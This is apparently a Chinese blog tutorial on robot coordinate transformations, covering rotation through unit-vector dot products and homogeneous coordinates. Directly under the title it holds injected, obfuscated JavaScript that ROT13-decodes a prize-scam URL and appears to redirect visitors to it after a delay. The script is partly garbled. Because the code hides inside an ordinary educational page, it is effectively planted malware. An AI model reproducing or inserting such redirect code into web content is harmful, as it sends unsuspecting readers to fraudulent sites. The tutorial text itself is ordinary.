机器人学-2-坐标变换
rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
机器人坐标变换的意义
由于目标物体的坐标系与机器人的坐标系是不一致的,它们各自的坐标系是没有联系的。所以为了能够使目标物体的坐标系能够让机器人知道它的位置,需要将目标物体的坐标系变换到机器人坐标系中。进一步的说就是我们需要将运动从前一个参考坐标系到下一个参考坐标系。
1.首先看参考坐标系和物体上的坐标系重合的情况,可以看到这个时候两个坐标系对于P点描述的坐标是一样的。
2.接下来看一下只旋转的情况
旋转了以后两个坐标系就不重合了,可以看到Pxyz和Puvw起始在数值上乍看没有什么联系,进一步的思考,两个坐标系的单位向量其实是可以转换的,因为我们知道旋转的角度,UVW是从XYZ旋转而来的,因此我们可以通过简单的计算得到XYZ的三个单位向量旋转了Θ后就是UVW的单位向量。这样就找到两个坐标系的转换方法了。求旋转后单位向量的方法很简单就是点乘就可以了。
当然也可以换一个思路(刚才的思路已经可以解决这个问题了),明确一点,起始点的坐标就是点在坐标轴上的投影,那么我们可以将P点先投影到UVW坐标轴上再投影到XYZ坐标轴上就可以得到这个点相对于XYZ的位置了。投影的公司就是点的坐标点乘当单位向量。
这样就得到公式了,然后看一个实际要计算的例子,套用刚才分析得到的步骤:
3.齐次坐标变换
参考资料-齐次坐标变换
齐次坐标表示是计算机图形学的重要手段之一,它既能够用来明确区分向量和点,同时也更易用于进行仿射(线性)几何变换。
简单的来说,齐次坐标变换就是用一个n+1维的向量去描述n维的向量,就可以把它想象成一种坐标表示方式。
在齐次坐标的变换中,a,b,c分别是单位向量的前面的数,w默认是1,可以通过同时乘上一个数字来同时增大和减小,我们可以把任何一个向量表示层这样的形式;下面看一个使用齐次坐标变换来得到旋转坐标的例子,利用我们刚才得到的rot的公式加上齐次坐标变换可以得到U点围绕Z旋转90度的坐标是[-3 7 2],这个1只是变换用的,并没有实际的意义,但是如果不是1的时候需要做变换同时除以一个数将其变为1.